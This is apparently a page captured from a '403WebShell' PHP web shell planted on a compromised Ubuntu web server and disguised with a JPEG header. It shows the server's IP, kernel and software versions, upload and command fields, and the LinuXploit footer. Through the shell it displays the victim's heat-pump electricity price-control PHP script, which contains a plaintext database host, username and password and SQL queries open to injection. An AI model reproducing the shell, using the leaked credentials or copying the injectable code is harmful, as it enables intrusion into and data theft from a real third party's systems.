????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.22.79.2
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/appsrv.astacus.se/rock_backup/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/appsrv.astacus.se/rock_backup/index_price_control.php
<?php
include 'setup.php';

$TEXT = "";
$mysqli = new mysqli("www.astacus.se", "carlhoffstedt", "Astacus2020!", "energicontrol");


$sql = "SELECT * FROM tblAstacusMetricUnits WHERE Ethernet = '".$ethernet."'";

	$result = $mysqli->query($sql);

	while($obj = $result->fetch_object()){ 
		$wanted_temp = $obj->Wanted_temp;
		$minimum_temp = $obj->Minimum_temp;
		$percent_save = $obj->PercentSave;
	}

$timeSeries = array();
for ($i = 0; $i < 24; $i++) {
	$h = 18 - date("H") + $i;
	
	$time = date("Y-m-d\TH:00:00\Z", strtotime("+".$h." hours"));
	$timeSeries[] = $time;
}



$hours = array(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1); // Last one is set to 1, otherwise loop doesnt work if last hour is 0

$average_price = 0;

$from = date("Y-m-d",strtotime("0 days"))."T18:00:00Z";
$to =  date("Y-m-d",strtotime("1 days"))."T17:00:00Z";

// found what is average price

	$date_from30 = "startTime >= '".date('Y-m-d',strtotime("-30 days"))."'";

	$sql = "SELECT * FROM tblNordpool WHERE $date_from30 and area = 'SE3' order by startTime";

	$result = $mysqli->query($sql);

	$sum = 0;
	$x = 0;
	while($obj = $result->fetch_object()){ 
		$price = ($obj->value)/(1000*1);
		$sum += $price;
		$x++;
	}

	$average_price = $sum/$x;

///////////

// Find what cooling and heating cofficent is


$from1 = date("Y-m-d",strtotime("0 days"))." 18:00:00";
$to1 =  date("Y-m-d",strtotime("1 days"))." 17:00:00";

$today = date("Y-m-d",strtotime("0 days"));

$sql = "SELECT * FROM tblForcast WHERE timeSeries >= '".$from1."' and timeSeries <= '".$to1."' and enteryDate = '".$today."' group by  timeSeries  order by timeSeries";	
$result = $mysqli->query($sql);

	$x = 0;
	$t_effektiv = 0;
	$ws = 0;
	while($obj = $result->fetch_object()){ 
		$t_effektiv += $obj->t_effektiv;
		$ws += $obj->ws;
		$x++;
	}
	$t_effektiv = $t_effektiv / $x;
	$ws = $ws / $x;

echo("<br>".$sql."<br>");


$myvalue = $t_effektiv;
$from_ = date("Y-m-d\TH:00:00", strtotime("-7 days"));

$sql = "select (TempChange) as TempChange  from tblEnergyLog2 OutsideTempWind WHERE Direction = 'Down' and TimeDate >= '$from_' order by abs(OutsideTempWind + (".$myvalue.")) desc LIMIT 1";

	$indoor_temp_drop_per_hour = 0;
	$result = $mysqli->query($sql);
	while($obj = $result->fetch_object()){ 
		$indoor_temp_drop_per_hour = $obj->TempChange * 1.25;  // Test
	}
echo("<br>".$sql."<br>");

$sql = "select (TempChange) as TempChange  from tblEnergyLog2 OutsideTempWind WHERE Direction = 'Up' and TimeDate >= '$from_' order by abs(OutsideTempWind + (".$myvalue.")) desc LIMIT 1";

	$indoor_temp_increase_per_hour = 0;
	$result = $mysqli->query($sql);
	while($obj = $result->fetch_object()){ 
		$indoor_temp_increase_per_hour = $obj->TempChange * 0.75;; // Test
	}

echo("<br>".$sql."<br>");


if($indoor_temp_drop_per_hour == 0){
	$indoor_temp_drop_per_hour = 0.300;
}

if($indoor_temp_increase_per_hour == 0){
	$indoor_temp_increase_per_hour = 0.300;
}

$TEXT .= "Indoor temp drop is: $indoor_temp_drop_per_hour<br>";
$TEXT .= "Indoor temp increase is: $indoor_temp_increase_per_hour<br><br>";

$low_price = $average_price * $percent_save;
$sql = "SELECT * FROM tblNordpool WHERE startTime >= '".$from."' and startTime <= '".$to."' and area = 'SE3' order by startTime";	

echo("<br>".$sql."<br>");
$result = $mysqli->query($sql);

$TEXT .= "Average price for the latest 30 days is: ".round($average_price, 3). "kr ink moms.<br><br>";
$TEXT .= "Prices for the next 24 hours from 18:00<br>";

$x = 0;
$COUNT_NORDPOOL = 0;
$price_array = array();
while($obj = $result->fetch_object()){ 
	$price = ($obj->value)/(1000*1);
	$TEXT .= "$x : ". $price."<br>";
	$price_array[$x] = $price;
	if($price <= $low_price){
		$hours[$x] = 1;
	}
	$COUNT_NORDPOOL++;
	$x++;
}
$TEXT .= "<br><br>";

$TEXT .= "Table where heat pump is allowed to be on = 1 based on 30% below average<br>";
$x = 0;
foreach ($hours as &$value) {
	$TEXT .= "$x : ". $value."<br>";
	$x++;
}	
	
// count maximum hours before we need to heat

$TEXT .= "Indoor temp drop is: $indoor_temp_drop_per_hour<br>";
$TEXT .= "Indoor temp increase is: $indoor_temp_increase_per_hour<br><br>";

$TEXT .= "Off 1 hr, needs to be on for: (".$indoor_temp_drop_per_hour / $indoor_temp_increase_per_hour.") <br><br>";

$indoor_temp_drop_per_hour = $indoor_temp_drop_per_hour * ($indoor_temp_drop_per_hour / $indoor_temp_increase_per_hour);
$temp_delta = $temp_drop; 
$hours_inrow = floor($temp_delta / $indoor_temp_drop_per_hour);


$TEXT .="<br>Maximum hours without heat: ".$hours_inrow." h based on buildings cool down cofficient (".$indoor_temp_drop_per_hour.") degrees / hour<br><br>";
$TEXT .="Now, lets found hours in our table where the sequence of 0´s is more then ".$hours_inrow.". We find that at index: <br>";

$periods_we_need_to_heat = array();
$index_arr = array();
$count_arr = array();
for ($i = 0; $i < 24; $i++) {
	if($hours[$i] == 0){
		$count = 0;
		for ($j = 0; $j < 24; $j++) {
			if($hours[$j+$i] == 0){
				$count++;	
			}else{
				if($count > $hours_inrow){
					$TEXT .= "Index ($i): ".$count."<br>";
					$periods_we_need_to_heat[$i] = $count;
					$index_arr[] = $i;
					$count_arr[] = $count;
				}
				$i = $i + $count;
				break;
			}
		}
	}
}

$TEXT .= "<br>For these periods we need to find the cheapest hours to heat the building. Now worries, I will make the calculations! ;)  <br><br>";

 // Create filters to check what will be the lowest consumption and price
$filter1 = array(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0);
$filter2 = array(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0);
$filter3 = array(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0);
for ($i = 0; $i < 24; $i++) {
	$filter1[$i*($hours_inrow+1)] = 1;
	$filter2[$i*($hours_inrow+1)+1] = 1;
	$filter3[$i*($hours_inrow+1)+2] = 1;
}

for ($i = 0; $i < 24; $i++) {
	$TEXT .=$filter1[$i]." - ".$filter2[$i]." - ".$filter3[$i]."<br>";
}

// Save prices in arrays for later step
$price_arr_all = array();
foreach ($periods_we_need_to_heat as &$value) {
	$key = array_search($value, $periods_we_need_to_heat);
	$price_arr = array();
	for ($i = 0; $i < $value; $i++) {
		$price_arr[] = $price_array[$key+$i];
	}
	$price_arr_all[] = $price_arr;
}	

$x = 0;
$picked_filter = "";
foreach ($price_arr_all as &$price_arr) {
	$sum_filter1 = 0;
	$sum_filter2 = 0;
	$sum_filter3 = 0;
	$i = 0;
	foreach ($price_arr as &$value) {
		$TEXT .=$value."<br>";
		
		
		if($filter1[$i] == 1){
			$sum_filter1 +=$value; 
		}
		if($filter2[$i] == 1){
			$sum_filter2 +=$value; 
		}
		if($filter3[$i] == 1){
			$sum_filter3 +=$value; 
		}
		$i++;
	}
	
	$smallest = $sum_filter1;
	if($smallest > $sum_filter2){
		$smallest = $sum_filter2;
	}
	if($smallest > $sum_filter3){
		$smallest = $sum_filter3;
	}
	$TEXT .="<br>sum_filter1:".$sum_filter1;	
	$TEXT .="<br>sum_filter2:".$sum_filter2;
	$TEXT .="<br>sum_filter3:".$sum_filter3;
	
	if($smallest == $sum_filter1){
		$picked_filter = $filter1;
		$TEXT .="<br>Picked filter 1<br>";
	}else if($smallest == $sum_filter2){
		$picked_filter = $filter2;
		$TEXT .="<br>Picked filter 2<br>";
	}else if($smallest == $sum_filter3){
		$picked_filter = $filter3;
		$TEXT .="<br>Picked filter 3<br>";
	}
	
	// MAKE THINGS
	
	$TEXT .= $index_arr[$x]." %".$count_arr[$x]."%".$x;
	
	for ($i = $index_arr[$x]; $i < $index_arr[$x]+$count_arr[$x]; $i++) {
		if($picked_filter[$i] == 1 && $hours[$i] == 0){
			$hours[$i] = 1;
		}
	}
	
	$x++;
	$TEXT .= "<br>---<br>";
}
	
$sum_fixed_price = 0;
$sum_spot_price = 0;
$spot_price_average = 0;
$sum_spot_price_no_control = 0;

$c=0;
	$hrs_array = array();
	for ($i = 0; $i < 24; $i++) {
		
		$ic = $i + (17 - date("H"));
		$d = date("Y-m-d\TH:00:00",strtotime("+".($ic+1)."hours"));
		$TEXT .= $d." - ".$hours[$i]." - ".$price_array[$i]."<br>";
		$hrs_array[$d] = $hours[$i];
		
		
		
		if($hours[$i] == 1){
			$sum_spot_price += $price_array[$i];
			$spot_price_average += $price_array[$i];
			$c++;
		}
		
			$sum_spot_price_no_control += $price_array[$i];
			
			
		$sum_fixed_price += $average_price;
	}
	
$spot_price_average = $spot_price_average / $c;

//ADD ONOFF TO DB
if($COUNT_NORDPOOL > 10){
	for ($i = 0; $i < 24; $i++) {

		$h = 18 - date("H") + $i;
		$key = date("Y-m-d\TH:00:00", strtotime("+".$h." hours"));

		$found = 0;
		$sql = "SELECT * FROM tblPriceControl WHERE Ethernet = '$ethernet' and startTime ='$key'";
		$result = $mysqli->query($sql);
		while($obj = $result->fetch_object()){ 
			$found = 1;
		}

		if($found == 1){
			$sql = "UPDATE tblPriceControl SET OnOff = '$hours[$i]' WHERE Ethernet = '$ethernet' and startTime ='$key')";
			$TEXT .= "UPDATE tblPriceControl SET OnOff = ".$hours[$i]." WHERE Ethernet = ".$ethernet." and startTime =".$key.")<br>";
			$result = $mysqli->query($sql);
		}else{
			$sql = "INSERT INTO tblPriceControl VALUES (null, '".$ethernet."','".$key."','".$hours[$i]."')";
			$TEXT .= "INSERT INTO tblPriceControl VALUES (null, ".$ethernet.",".$key.",".$hours[$i].")<br>";
			$result = $mysqli->query($sql);
		}
	}
}else{
	
	$TEXT .= "<br><br>NO NORDPOOL DATA IS AVAILIBLE YET: ".date("Y-m-d H:i:s");	
}

$TEXT .= "<br><br>RESULTS: <br>";
$TEXT .="Fixed price at (".round($average_price, 3).") kr: ".	round($sum_fixed_price)." kr  <br>";
$TEXT .="Spot price at (".round($spot_price_average, 3).") kr: ".	round($sum_spot_price)." kr  <br>";
$TEXT .="Spot price at (".round($spot_price_average, 3).") kr: ".	round($sum_spot_price_no_control)." kr (no price control) <br>";

echo($TEXT);

$sql = "INSERT INTO tblCalculationLog VALUES (null, '".date("Y-m-d H:i:s")."','".$TEXT."')";
$result = $mysqli->query($sql);

?>

Youez - 2016 - github.com/yon3zu
LinuXploit